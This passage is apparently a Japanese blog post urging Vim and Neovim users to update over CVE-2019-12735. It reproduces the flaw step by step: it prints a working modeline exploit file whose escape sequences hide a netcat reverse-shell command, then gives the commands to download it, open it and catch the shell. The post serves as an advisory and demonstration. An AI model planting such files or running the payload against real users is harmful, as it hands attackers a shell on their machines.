LoginSignup
120
53

More than 5 years have passed since last update.

Vim or NeoVimを使っている人は、すぐにアップデートしましょう [CVE-2019-12735]

Last updated at Posted at 2019-06-12

結構、簡単なハックでリモート接続が可能になる脆弱性があったので、試してみました。

対応するVimのバージョンなどは以下のとおりです。

Product: Vim < 8.1.1365, Neovim < 0.3.6
Type:    Arbitrary Code Execution
CVE:     CVE-2019-12735
Date:    2019-06-04
Author:  Arminius (@rawsec)
Option:  :set modeline(false)

vimはテキストファイルをsourceにしてコマンドを実行できます。それを悪用して、nc(netcat)でサーバーを起動し、そこに接続します。特別に細工されたテキストファイルを開くことによって、modelineを介して任意のコードを実行できる脆弱性ということらしいです。

shell.txt
[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing here."[D 
$ mkdir -p tmp
$ cd tmp
$ touch {1..2}

$ sudo pacman -S neovim --noconfirm
$ downgrade neovim
0.3.5
$ curl -sLO https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
$ nvim shell.txt
---------------
$ nc -vlp 9999
ls
1
2

neovimの場合、成功するときとしない時がありました。何度かやってみるとできると思う。

120
53
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
120
53